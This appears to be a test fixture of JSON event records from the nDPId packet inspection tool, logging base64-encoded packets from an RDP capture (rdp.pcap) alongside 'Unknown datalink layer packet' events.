+00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":311,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":259775,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgFEAAfwYpvMCoAo6sEAK5DT3NDkebCSr5vP2WUBD2RCUrAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":311,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":312,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":259833,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgFUAAfwYpu8CoAo6sEAK5DT3NDkebCSr5vP4cUBD1viUrAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":312,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00442{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":313,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":275240,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AgAAAEUAAGpgFkAAfwYpeMCoAo6sEAK5DT3NDkebCSr5vP4cUBj1vvmoAAAXAwMAPQAAAAAAAABVBaCs7rS6kUIrF4zYgi0L6mIw2J\/d\/JqkPGOiXQrVgCTlAOUSceHfRw1ATgSeGwszedEuHhE="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":313,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":314,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":275307,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gF0AAfwYphMCoAo6sEAK5DT3NDkebCWz5vP4cUBj1voMjAAAXAwMAMAAAAAAAAABWv8RAgMROQ5jYxgZT2GFnmjnjzPeS6U6WbjpgsZPMOedIZcgKwGoH6g=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":314,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":315,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":275315,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/hxHmwlsUBAf\/fqqAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":315,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":316,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":275575,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGVgGEAAfwYpe8CoAo6sEAK5DT3NDkebCaH5vP4cUBj1vutwAAAXAwMAOAAAAAAAAABX2X7ygiWRrByFTalHmrjxip9iae9CapJ1Japazl1+y4tExqBGbYZDS+E769AR5KWD"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":316,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":317,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":275687,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/hxHmwmhUBAf\/vp0AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":317,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":318,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":275770,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gGUAAfwYpgsCoAo6sEAK5DT3NDkebCd75vP4cUBj1vsyiAAAXAwMAMAAAAAAAAABY56x0GVSnBYR9rZnDOCy+N3HMNgmXEp4ZYAj1ASnUsG6DII5MrWMEzw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":318,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":319,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":275797,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/hxHmwneUBAf\/vo3AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":319,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02074{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":320,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":276071,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgGkAAfwYkvcCoAo6sEAK5DT3NDkebChP5vP4cUBD1vltLAAAXAwMGbwAAAAAAAABZJb7MPWfWqIxehC5fAedlES4k7EMK+aJB1dCBq9297GWp5cZltjxauJ0VxqehV64L+\/y8JsbbzniBUVQnyrX+wDNHW+c\/y2puGqJLCeZIAvuV+Pu5hXqK4rz+A5JeJ3vvT6itZt8e5\/AT9CCqkW44KU19wNsQj9AQxi5EwNN90J4VAVeMBiDkqef9Kz7FhoS75+gebuebLOFsq\/9DpTXCSWyb4lujDGKEDCwV79dhx1a8WjDK7N9vquih3oVvXu3rrV8Ur\/ujcAupFOBa6qBu6wCBacIDqu1HLM+DJZxoNF5k+b9lANLQXIek7ugPqF2mFpwgx\/K4NUdiXEvX86beJMsnthCJbMVZETBJ4WbrEwP9qMPEpyiS+uA4KpLV8l5gi\/5mAeBbl4e1+PoEmgc57laHLIo4eYC2zvAhCnEJfTU+uTGnQJKsutwaC94wRij2nqk9wSTnQ2tV9gsiAFdm9nuQJidFZcf6BEz9StnXWXe1SbMASWgJNDyvAb9o\/Jv4g9y\/sYehwJtdh3O8NAKK+H6IUz7ftDEe3wGWrjmScMnCroQxZjUlz9tbSXZYwm4SBu8kLpcgllxno\/Snb5gW0oyb4fe4jW0PSqaAhP1OUHQBGfd2eQO4qIRIuw+AH0Zdyc0uajMZpnmxRBnjjn7wlXPD7zcwRvEBY9NPrE1fRd3YMIlkXtZIBU361S3bE6NuFgmGwjVJgJt5cyqcMuojdRkGJlykEhqgNgqW+pz8Ui9\/Mz5N0b+SnRe6NQ6R6LN3NvrHChQgX5+srneWRUkenqPx1ucFb7HgoN7nfA9zQW5foDxkomQw\/wXaKkx8ptppeKVMSMPZj1s03n1uDcz\/nbWUv6Teh5mi\/B+z4YidB0Ul3PliZTMyCqFN0C1pNdZ06ABSL0rMqjReYbl+7ktETsvCiUbcd5J+2\/Pn\/ladM+8vJFQaMOTHDytfbH6H\/wkvBnbVATUapbQuPzmqoBDrZZAI1uXzed5DBXCTHM8kY85TU4bnf4OENw4eBBIorIo3lSCUO7X+uA5Fv+F\/8MVVfC1DISvJ9sdo5IzTm8qlfMTPbYXItktKOdMlCT0o+E4kjME4jWMOoFmUMmOmT5L7AgmgLRo2tnl+yEtMoIh7SZaGlgoMttqRjb35i2aZjXABKiLgghLOrpC1zLWodnb\/BUTseRxNhVxTaegB5CJB21+PPKi2NIT+sJ1+g8te0fYQ0ZCkwI6929HoNzrrsrug09p0OkLHei\/LYYPq7+u9mirW7ciRi7wi1MIIgAs3Mh3hT4BbYkOaiFCR58p8kbLU1pRZWvpgqLfLFnihuV3XlX6RWGSxkV+GOtMzW+qbmlPtq\/l88CwHQQTuywIszDaB7GgvJ7jynrowM+vpH31l6F20HFu1gFe31kls7n9l2qvZ93qoKgZt1tcYyhCECU+iBvLvslhZFeEfLdL0xYBk\/ndT5agDPQDu4vP1kamMeB94EegWC4RhZrVQA7LXDOPqzTaDgJsyKafcK79Old3M97E2TxR68SLq0+6l7WaJ3gYM7zSY7dfXcaaAw5+bSeEa9o4P+S43Np7Kl4Z1NyzT5Z2SbjnJkGDt9hPn2Ngh4TIpCWu8El+bI8pKMCWcBh+7O\/w3pAorzd+7TGeDPH33eZJunIx\/TLwQgdIloJxwMw3rGTbxRiGpP9su+zW0"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":320,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":321,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":276102,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/hxHmwoTUBAf\/voCAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":321,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":322,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":276228,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm8\/hxHmwoTUBggAABZAAAXAwMAMOAIO32NJwuaobErJ6BfdxWsacZTcFDIZHRs0KmBB4TCTt9F4ioFozqUCfXaqy5Bsg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":322,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00861{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":323,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":276307,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgG0AAfwYoOsCoAo6sEAK5DT3NDkebDwz5vP4cUBj1vuZaAACNp0R5jqi7wZArGHHOJ0UEf6dEas58Y6XSungaKJg0vr0qczjR90Be1pRNbyFnXMkPm2+fLHIAq5mHZjjU5EQwQvZS45Xkm1jW072CeybWAUXtA42rNdzb0JRnkZhY42ocDoC+GDRLCDsEwNM5zS6dyRRGPWJhKhfy846xHakGk5qfKE+Nk\/dqPme1jbpg1fSLaDB0XzzeTWc5V7NLg07cxEj8UeRwSEr24jJzBlk8M5Et2K40u9pxzZdysu5Q5CnIvGZ+IuI6fpVpuT\/vI\/5G2IUQz6RSXxKP5tsgqs5f5otbzAclpTrWOw1wsw2sPrQnSmx2jilyRnUl4f\/R9bN9Z8\/0VZYz2l9tTQNvFf5bLq4x+r47vPRvBsDk0Cs+YxMuKbcZ43kMWvuINgx+oc8zm+GPlg5KBdTPaZR9Z6ZX3ZPaADlb6TR0a5mMGfn+HjsJQrXtOAg2vgnj2Hyzyt+Q76w1ls5zgOwhoggT4agLu8BeNhhiJrOSiJg9"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":323,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":324,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":276338,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gHEAAfwYpf8CoAo6sEAK5DT3NDkebEIf5vP4cUBj1vhHuAAAXAwMAMAAAAAAAAABaFLH0wf\/QpNU4yu8wrfZ+Ttiz0+yUsn55qPqmUERVcxmil76rZakPmg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":324,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":325,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":276360,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/lFHmxCHUBAf9PNjAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":325,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02069{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":326,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":276567,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgHUAAfwYkusCoAo6sEAK5DT3NDkebELz5vP4cUBD1vpH+AAAXAwMGbwAAAAAAAABbpWIUqcuRtRO7Pe++1TwYlySW0IGbb9fLWpNz7G6sqvjjI+uJk9qTDRVxjpdJ6lGrygzri+3WGTB1fylLv8ze\/0ytpumI+AsGAwcRtGPmQTRcYWzfg9SPYWSthq9\/q2Jxna+dwHMug\/BMmGb8Khz5gncCWgc3wHqg2Kem9pTwrCSCyK\/xUNGA57BS+FkTfFoWjNIDN+PLxucYnsO7Xoa+f7gs7JzTYHcGMaVvbKlLC\/U2zMKDb98fjOgim7yxm5AHURZOrtQXQNs6GPxbOJsxpxiH4jnXrWD\/xG6fUEdsV6rzRj2j8AU4Jkenn4qJFUK8LrfuQXMkX33Vc\/yz9nVI\/sV288eTGwlhighKoXFimhknrSBkU2LjpLG\/g2lHULGrHkiHI2a0+hZ0Kn3vFwFf8xYlO7Vk8NgqRpt634m6hwCTbSyu2HkiyEv5vqLcFTcyH0thUMJZITMK5NEzUEAT0WKPtCd6imSvPXbXQrrgOpiFTffU1g1odh+y3FjJSwVa3cmhW4gmpHoD+8AoJn7HpAaQScMZrKdUc+tm7kaA7HEMRHrvGezFADOBAlCX9jFnjhVkBfP0sg6qyj+XpGgtxYcHMSibgXe0aHwPAuMb4HpqWXQRW5b6zbUMFLlgrdGuUpH83Np+fXWOvSe3kev5rH5gyFBLAI1XoeV0w91XELU761dN1MZdH5XzqvASuoGkYmCr9LpgT78aeBmy32\/R+EN8jAt+11p3xdYIw8jvnH2TC\/2KnnV3TKEJTwuFS0vcP+AFGWnJeSVt24Rf6Ztoqk38VYHXEr\/IT8PpDqFcFbg9NEf8n5NEziCHl9bJUYkEHGfMfmlnGG2FI1pdpTd533wberSK+6r82K\/cGVB+4IRlzA3amebZIwoRGGTgX+h2ur6UUqyIbBbdsMxLvJ4bZWes7ozzKcPhAmcmZ63eniFHcaQXARxzBcjWT8Vnbo+krXMZvyxL7UdyxZ2H+96uNIVVvhxxFfKcxlUhQTRFlezRtw1UjU6llAsUFVhD4rftIYsM90zmmnRgSsSZL5TRu+rWlk25BorDz1D06wHH3wS3JRKx9MWg8sVzVvCLiyRnrKuU97X7IYMWHgTTy9R1q5JEcw4voYrFv81+qX17aqOqUw41nugFnIXPQMed\/7dit33lzYV9FwOkm9XaWRGAzxebWkS12KfBl9ZIQ+DVDqFjEAPKlh8JJI4AWlqfmGBXBvPz1RPviK7zh1Y8L9454qcl8Pn44YJlijPGYgXtrDSLDdB2GX4iwBFh9c4GPX1a\/qLEjAkQrKpadow2kFsXGJRvCVGnO+GX9BZkbssIZBL9+VfomTv54jWeJA5ikPumigDYImnnXdTAJhtp8s1rRDy62mA5+Ex7tOH35MqBDwJ5Ff0hYtJb49MAqfpVz0aEa5xVMyjCkW\/PdcMrPwLqSsNdlCFDfGWtF85BvfpTgQvHg2Kq1Uwefm+WDkXKGJsI2TTrT7c4vWYloZEmK9BOgQ4kZI\/zwEehoCVIk1OGCJV7QA7EyKc1QHsHdld\/pnDt77gDmrlcakHj+VHog9A2ymeg6b2Pinw9xZoiSXErzmYxr0IKy2gTXUka2Fix5I5Ggwoz83AMBmcJyk1gTBsfG5jIatc0jSWTZ0yLiZ\/zE5maxCLvlDK1dauyl1mfE8JQCXIj5yULUaZJMhWS"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":326,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":327,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":276656,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/lFHmxC8UBAf\/vMkAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":327,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":328,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":276778,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm8\/lFHmxW1UBggAOTrAAAXAwMAMOAIO32NJwubs91+zQUUc7c28O4zpfENbGZ7afdaRjNIVJtNN\/HHYIHPEXkQ4nJIyw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":328,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":329,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":276900,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgHkAAfwYoN8CoAo6sEAK5DT3NDkebFbX5vP4cUBj1vnSbAADpoLu8KJLk1yVPRKywjCozzVwf\/PrIkMlPQ\/tyeXcagjHhEx\/bAugzvAJuJDMFHq8PtGuTRMT7Qy9d591Forwsf5LxyMFLdRnuzks7T78vOQc2zJGjlxpxxKpV3E2S1a3idoEsuhfk6gyukiy5vcxXxfDwzNXM69+hl3y+OUKPTDaV\/flKMVwzc+gAuYnIO6lgZxQFPX6\/kZuEooWX8XwfSsaL8+tSy9llcFXOWVeq7ApyzvIIw7LIk6yfeqXOT2IVUViBQ5y\/fgMA4DsgpWEs4HJk9GwKsPpcHZjtk1KFrpnnmUn8K6LU7ge0mpj4DnTx9cybxG6m80YJWm656gyjfve\/TlGKa7T+2malXWjkTTOo0XSfK\/fvJAco6S2n+DfSy50bBvUPpxNSg6JwaYJk5OrDZfzxueOep9JKlZhjzW07GbxmIvG06nzsCuZ\/4h4xOypJpFZ+0FNpwua1yOnbzOLH+l\/4Lhe\/ChkErlQvBOSENXqfWmelcETF"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":329,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":330,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":276940,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gH0AAfwYpfMCoAo6sEAK5DT3NDkebFzD5vP4cUBj1vmqNAAAXAwMAMAAAAAAAAABc6GcGUObQG\/zaBRii7phMfCuqPQjh\/r7EMqLH+Uchq7taKchBZSa5Qw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":330,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":331,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":276966,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/oZHmxcwUBAf9OyFAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":331,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":332,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":277156,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gIEAAfwYpe8CoAo6sEAK5DT3NDkebF2X5vP4cUBj1vs9nAAAXAwMAMAAAAAAAAABdDhU9DDnpjMp+tE\/R9swXi3TwPTCrk+5MApg2\/YWz+r8H3rk7NHxdTQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":332,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":333,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":277309,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/oZHmxdlUBAf\/uxGAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":333,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":334,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":277402,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gIUAAfwYpesCoAo6sEAK5DT3NDkebF5r5vP4cUBj1vvjWAAAXAwMAMAAAAAAAAABehS6HLZDQZDD41vgdj8SzDymjJQF5yjQ3Wqz5rf9jfCq0ty+k4qLawQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":334,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":335,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":277423,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/oZHmxeaUBAf\/uwRAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":335,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":336,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":277572,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgIkAAfwYktcCoAo6sEAK5DT3NDkebF8\/5vP4cUBD1vgrvAAAXAwMGbwAAAAAAAABfXNlr2U\/tqUFUDQPqle9Ym8nne+mlzkV4DiY1\/KNqacS6lI0VgNvyYuczrEetNZ69BEJ2aASAYKmpR1l0Ym9ZRNtQHRDTGYQaH+dr18s4U0N9uUaijceRVO\/qt\/8It8WiBOz5DvOyNY36vV+I3Lh0c2L9rZgniz8R\/QqqMCQpFjA3eyokDUJTE9mAQfVWEAYmdwK\/ev\/\/rMH50VPmsJHt84dRNZUGmdosQ31C\/JsI03Opj5U2JTa4jscBrA+5JBggu5G3LeRCDaX9Vbv65eTrrMx70yHKviwlNxbeGcqVvvXAIlhQvzhYSne6kuilntCUJ1e17hVnurT8HExi\/PZ9UlpA+5M5g\/lepsMdubOnaiXC6wplUHD6f3MZhR8iyRRMqm0GyIxqLeuUs6RZkZ2C+duJ9MD6hS1mKIUPG4nlJ5HwTXTnOrn0ePtU\/5\/\/HgfnlVmK6\/qJ62TRZZzBxNzarAKRf741x35Pv\/yq\/GbVdyOCxJ\/grnbvqgo+8Ld0jSX0t9AFp6jGMRSmETLoN4JdVCfB07D45DYudj6pzU7Ps9nHxOesDQzUOEJOgOnVJ97zCw0kvYJu4mgL2km4huOjLh6vzU\/uYO6xjROjJb3nou14VqdOSGDI4YrMs4OLHFcLAw3aZ+5d2O4ZehHwZO0aTrAjGSl9RHJB5CZdY8Pa\/8K6uo8orv66R8UmgV+dtzNSosrpZwxReeS9omL1dfxbB9BvMBXXR68sx1zaRQDuRLXiblRsxJ4xvYbr7q5BrxLk6lAlcmy+bqAgU4S\/7Zl\/uiSqkLW9b1TFiGMrrJU88jpWt7ts62HPvQvq4xNAtsYm+ZOlEbUxgew1ZT9dJdhx5mJVMMzHO9W4yCNy1aw6Ytnft3MwlMtIJJSWqo7f7HVLLCugDDg64oi4rcksWkRFaJ0vgnu04c3MIbE3SJYsEPERq7ZtfWlOw9hf1kePdgAyb+EnOBD2h6aI0OBEvBPfYwEyw90ZAQpgI3\/by2J3bb3aBqaO84WT0hRI2bPZp7n+sRo4Hvz4LGuHHHOdNLPtrcIN7rk4Wns3q5n6OAakRtVcilkcXdEWT5B9B+70WndbUoK4w7cPYUUwbzhDUbKuHDThDUwPEInT932\/0fILs6wluFKTi0faSfyC3dxbpLBEtLq3Si4lljuzHxPEj3aHeLqW4f5rY+e5MvN4fbzA8HlVv0Of2MZud\/JyGKywvCrUmVtJcHJ8oX5XDRSAu8vaM49aj9O9Y6AJNCnHlIC0bPceFs2hxrFXDpZId\/Uj0MxWEqrsEpBbxpvVjxF9Hqmh1YHWM5g\/xA2OeidqNg41Hxsxi6nhAftdSPfxOXW1HCf3hqspRNaGWAsX9xlpNbEFuFu5uEhkmSRcInTagzLCKvrLuygSuAerJ8tgK4Fk\/CpL++Lw4ANyS325NlVcjlOT4IxTyST2kDUkrVEPV1fI5jj2PNdQPcN+3AwBEg7CpdBOwIMpw0AiSqEf8c7t77cdcVvZvUvmD0ADNvQIRDtaGREJhxZhY7G4virqLFihQHymXnab9MEcH\/wdhTUA4nmpMf2XIufcsabXofk6u4PKM7cmhydy1ytp1+N4lSMexf+1Sy9G2FdDKKr43ersH4aPgk0pi7RTvABCmMSfrtVrJkAcIMWDDHYvTVZv8DObMU5oY5f6G9K0ii+4ndp5"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 